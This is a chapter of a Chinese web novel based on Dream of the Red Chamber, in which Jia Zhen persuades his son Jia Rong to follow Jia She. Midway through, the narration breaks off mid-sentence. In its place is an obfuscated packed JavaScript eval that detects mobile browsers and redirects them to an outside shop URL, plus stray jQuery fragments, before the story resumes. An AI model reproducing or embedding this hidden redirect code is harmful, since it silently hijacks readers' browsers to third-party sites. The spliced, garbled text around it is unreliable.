66.第 66 章
    “我又不会害你,你这么害怕做什么?”贾赦没好气地白他一眼,“我去找你爹,是为了家塾先生的事。”

    贾珍理亏地缩了缩脖子,又勇敢地看了回去,“家塾的事与我父子脱不了干系,我爹要是知晓我和蓉哥儿做的糊涂事,他定然不会放过我的!赦叔!”

    是的,不会被放过的只有他,不是他和贾蓉。隔辈亲,隔辈亲,宁国府就是这三个字最真实的写照。儿子是畜生,孙子才能得几分好脸。

    更何况子不教父之过,他爹定然会将贾蓉的错处一并归在他身上,他哪里还有命在!

    “你单想到我给你爹递了消息,他不会放过你,你就没想过,就算我不说,他也有可能得到消息?”贾赦一脸无奈地看着他。

    贾珍整个人僵住,随即晃了晃脑袋,自欺欺人地道,“不会的!不会的!我爹一心修道,才不会理会这些外务!”

    “呵呵!”贾赦轻笑两声,看贾珍的眼神像是看傻子,“你这话你自己信吗?”

    贾珍咬着牙不说话。

    贾赦叹了口气,“行吧,我答应你,在你松口前,不将此中的内情告知你爹。所以,是要赌你爹不会知道消息,还是要我去与他分说分说,都由你决定。”

    家塾的先生他还要指着贾敬解决呢,不去是绝对不行的。倒是他好容易忽悠住了贾珍,若是二人通了消息露了馅儿,后头的事情才麻烦。

    想到这里,贾赦不禁有些犯难。但事已至此,他也只能走一步看一步,顶多到时候再重新想法子忽悠贾珍。

    而贾珍不知贾赦的心思,听他这样说,目中忍不住流露几分感动之色。

    只是贾敬的压力在前,他很快收束心神,面色变换了好一会儿,终究咬牙道,“赦叔,你还是先别与我爹说吧!如今离过年也要不了两月了,等我爹回来,你再当面帮我分说一二,如何?”

    “行,都依你。”贾赦无所谓地耸耸肩,“不过你们的事情要瞒着,我就得好好想想该如何与你爹说话,只能明日再去寻他了。”

    明日好!明日好!就算只晚一时半刻都很好!贾珍暗暗握拳,不自觉地吁出一口气。

    贾赦看得好笑,摇头问他,“我明日去城外,你可有什么东西,要我帮着带给你爹?”

    “不必劳烦赦叔!”贾珍毫不迟疑地摇头,看着贾赦的眼神带着几分乞求,“每月的用度都是早早就备好送去了,赦叔在他面前一个字都别提我就是最好的!”

    “好,我尽量不提你。”贾赦再次摇头,也没了再留下来的心思,站起身道,“你们俩好好养伤,我也不打扰你们,这就先回家了。”

    “今儿劳烦赦叔了,赦叔慢走。”贾珍恭恭敬敬道,吩咐亲信务必仔细地将人送回家。

    贾蓉跟着好声好气地道别,等人一走,他整张脸上几乎全是空白。

    倒不是他接受不了被打板子,从小到大他被贾珍罚的多了,只不过将以往的抄书马步什么的换个形式罢了。更别提今儿他是和父亲一起被打,便是仅有的那一点儿人前和伤处的羞愤也没了。

    只是今日的贾珍与往日相差太大,在荣国府两兄弟之间坚定站贾赦,私下相处竟比他和贾珍更亲密。在祠堂时又说话有理有据,行事张弛有度,和贾蓉记忆里的父亲俨然两个人。

    正愣神间,贾珍已让人撤了屏风,又屏退了下人,直视着贾蓉问道,“你一直不说话,是被我吓到了?”

    贾蓉被惊得回过神来,慌乱了一瞬,回视贾珍点头答道,“是,老爷今日很是不同寻常。”

    “那是因为,隔壁的赦大老爷变化更大。”贾珍幽幽答道。

    贾蓉微微一愣,他以往与这位赦大老爷接触不多,对他的了解多来自于传言,袭了官爵也当不了家,马棚将军、一事无成、好色成性……细想想,竟是没一个好词。

    然今日所见所闻,不提其他,隔壁当家的政二老爷,与赦大老爷言语交锋之时,完全没有招架之力。以往的传言究竟是有多少水份?

    见贾蓉已在暗自思量,贾珍提醒道,“我们父子俩都是没什么大本事的,如今赦叔站出来了,你我就乖乖的听从吩咐。咱们都是贾家人,赦叔不会轻易害我们的。”

    贾蓉很是不解,“赦大老爷被压制了这许多年,便是重整旗鼓,也未必能最终掌管荣国府,老爷为何这般轻易便选了他?”

    “不不不!赦叔蛰伏几十年,一朝显化,绝不会单单意在小小的荣国府。我追随他,为的是跟着他同走登天梯。”贾珍狠狠摇头,满脸神往。

    自家人知自家事,自他袭爵以来,贾家虽还撑着两座国公府的名头,实则一直在走下坡路,至如今,更是只能对京中顶级权贵望而生叹。

    贾珍心里无时无刻不想带领家族重返荣光,但心有顾虑,一直不敢动作。直到贾赦在他面前露了锋芒,他终于定下主意,跟着贾赦的脚步走,败了前头有人顶锅,胜了定然少不了他的那一口汤。

    贾蓉大吃一惊,过后却不以为然,“老爷若是心有野望,更不该如此草率。毕竟那位大老爷要人没人,要钱没钱,怕是连荣国府都拿不下来。老爷实在要选,二老爷不是比他强多了?”

    听了这话,贾珍从畅想中收回心神,极度郑重地告诫贾蓉,“蓉哥儿,我教你一个乖。若有心上进,便抓住眼前的机缘,尽心投效。绝不能较了高下后再行攀附,那是带着我们全家往死路上走!”

    贾蓉的眉头立时拧成了结,不服气道,“老爷这话说得太重了吧!”

    “你觉得不服气?”贾珍斜睨他一眼,冷笑反问,“那你是看得清天下大势、朝堂风云?还是有独门密探、可尽知天下之事?”

    “这……”贾蓉哑然,负气道,“若我有这能为,自己便能走出通天大道,还攀附什么?!”

    “这就对了!既然没这能为,你又凭什么去挑挑拣拣?”贾珍眼中全是嘲

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13327796|135759||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    讽,“拿你这拳头大的脑子?还是从三教九流中得来的小道消息?”

    他缓缓摇了摇头,安抚道,“安安分分地跟在能人身后吃肉喝汤,这才是我们这种人最聪明的做法。”

    贾蓉闭口不言,心里还是不服气,暗暗想道,他年纪还小,往后的时日还长着,怎就不能重新走出一条通天道!

    “你心里不服气,想要再凭自己闯一闯对吧?”贾珍看出他的心思,一口道破之后,凉凉道。“嗯,你的曾祖也就是我的爷爷,他曾经也和你有一样的想法,于是暗暗给自己寻了一位明主。”

    贾蓉没听出其中的意味,兴奋地撑起上半身问道,“然后呢?”

    “然后?”贾珍嗤笑一声,声音更冷,“然后就是你爷爷让爵弃官,往城外修道,你爹我当了十几年的无能纨绔。若非赦叔出头,还要带着你继续当。”

    贾蓉听了一圈,没听到曾祖的名字,忍不住问,“那曾祖如何了?”

    贾珍气得笑了出来,“我都袭爵了,你说你曾祖如何了?”

    “袭爵?所以曾祖是!”贾蓉总算明白过来,心惊之下手上不稳,直直摔进了底下厚实的被褥中。

    他还记得,曾祖去世之时,身上担着正一品京营节度使!而当时曾祖去世的缘由,说的是旧疾复发,不治身亡!就因为攀附错了人,一品大员的曾祖竟就这么去了?!

    贾蓉瞪大双眼,完全顾不得牵动伤势引起的疼痛,唯有死死抓紧被褥,才能强忍住心底无尽的寒意。

    贾赦可不知贾珍已被他的话忽悠得彻底,还积极主动地发展了一个下线,他以两府相邻为由,坚辞了贾珍指派的亲信后,只带着自己的人往回走。

    刚出了贾珍的外书房,贾赦突然想起,“核桃,我之前让你把高远追回来,如今他人在何处?”

    他本是想拿高远当证据,不想贾政还不等高远出场便已败退了,后来又是贾珍父子受罚、看诊,这人就一直被他忽略掉,直到要离了宁国府他才终于想起来。

    “回老爷,”核桃上前答道,“因老爷没发话,高家小爷离了祠堂后,就一直在门房候着。”

    贾赦点点头,“那你一会儿将他带上,等回府后我再和他说话。”

    “是,老爷。”核桃应下,跑着去寻人。

    贾赦则慢悠悠出了宁国府,回到家中自己的院子里,惬意地到炕上歪着。

    刚吃了半盏茶,核桃便带着高远来到门外。

    “老爷,高家小爷到了。”核桃轻声禀报。

    贾赦放下茶盏,“请他进来。”

    核桃侧身为高远引路,“高家小爷请。”

    “有劳。”高远冲他微微点头,这才走进屋子。

    目之所及,名贵的家具,绫罗所制的帐幔,或金或玉的摆件,一件件好东西看得人眼花缭乱。

    高远心头一紧,不敢多看,随着核桃来到贾赦身前,“小子高远见过老爷。”